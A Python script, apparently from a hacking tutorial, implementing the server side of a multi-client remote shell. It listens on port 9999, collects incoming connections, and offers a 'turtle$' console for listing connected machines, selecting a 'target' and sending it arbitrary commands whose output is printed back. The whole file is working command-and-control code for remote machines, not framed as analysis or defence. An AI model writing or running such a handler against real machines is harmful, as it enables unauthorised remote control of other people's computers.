multi_client_server.py

import socket
import threading
import time
from queue import Queue


NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
all_connections = []
all_addresses = []


# create socket (allows two computers to connect)
def socket_create():
	try:
		global host
		global port
		global s
		host = ''
		port = 9999
		s = socket.socket()
	except socket.error as msg:
		print('Socket creation error: ' + str(msg))


# binds socket to port and wait for connection from client
def socket_bind():
	try:
		global port
		global host
		global s
		print('Binding socket to port: ' + str(port))
		s.bind((host, port))
		s.listen(5)
	except socket.error as msg:
		print('Socket binding error: ' + str(msg) + '\nRetrying...')
		socket_bind()


# accept connections from multiple clients and save to list
def accept_connections():
	for c in all_connections:
		c.close()
	del all_connections[:]
	del all_addresses[:]
	while 1:
		try:
			conn, address = s.accept()
			conn.setblocking(1)
			all_connections.append(conn)
			all_addresses.append(address)
			print('\nConnection has been established: ' + address[0])
		except:
			print('Error accepting connections')


# interactive prompt for sending commands remotely
def start_turtle():
	while True:
		cmd = input('turtle$ ')
		if cmd == 'list':
			list_connections()
		elif 'select' in cmd:
			conn = get_target(cmd)
			if conn is not None:
				send_target_commands(conn)
		else:
			print('Sorry! Commmand not recognized')


# displays all current connections
def list_connections():
	results = ''
	for i, conn in enumerate(all_connections):
		try:
			conn.send(str.encode(' '))
			conn.recv(20480)
		except:
			del all_connections[i]
			del all_addresses[i]
			continue
		results += str(i) + '   ' + str(all_addresses[i][0]) + '   ' + str(all_addresses[i][1]) + '\n'
	print('------- Clients -------' + '\n' + results)


# select a target client
def get_target(cmd):
	try:
		target = cmd.replace('select ', '')
		target = int(target)
		conn = all_connections[target]
		print('You are now connected to ' + str(all_addresses[target][0]))
		print(str(all_addresses[target][0]) + '$' , end='')
		return conn
	except:
		print('Not a valid selection')
		return None


# connect with remote target client
def send_target_commands(conn):
	while True:
		try:
			cmd = input()
			if len(str.encode(cmd)) > 0:
				conn.send(str.encode(cmd))
				client_response = str(conn.recv(20480), 'utf-8')
				print(client_response, end = '')
			if cmd == 'quit':
				break
		except:
			print('Connection was lost')
			break


# create worker thread
def create_workers():
	for _ in range(NUMBER_OF_THREADS):
		t = threading.Thread(target=work)
		t.daemon = True
		t.start()


# do the next job in the queue (one handles connections, other sends commands)
def work():
	while True:
		x = queue.get()
		if x == 1:
			socket_create()
			socket_bind()
			accept_connections()
		if x == 2:
			start_turtle()
		queue.task_done()



# each list item is a new job
def create_jobs():
	for x in JOB_NUMBER:
		queue.put(x)
	queue.join()


create_workers()
create_jobs()